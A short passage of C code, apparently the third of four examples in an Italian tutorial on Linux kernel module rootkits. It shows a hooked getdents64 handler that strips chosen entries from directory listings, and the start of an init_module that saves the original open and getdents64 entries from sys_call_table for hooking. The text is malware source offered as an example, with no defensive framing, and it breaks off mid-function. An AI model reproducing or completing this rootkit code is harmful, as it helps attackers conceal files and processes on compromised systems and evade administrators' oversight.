LKM
Esempio 3/4
        ptr = (struct linux_dirent64 *)(((unsigned long) dir)+rec);
      } else {
        prev->d_reclen += rec;
        memset(dir, 0, rec);
      }
    } else prev=dir;

    dir=(struct linux_dirent64 *)(((unsigned long)dir)+rec);
  }

  copy_to_user(dirp, ptr, ret);
  kfree(tmp);

  return ret;
}

int init_module(void) {
  o_open = sys_call_table[SYS_open]; 
  o_getdents64 = sys_call_table[SYS_getdents64];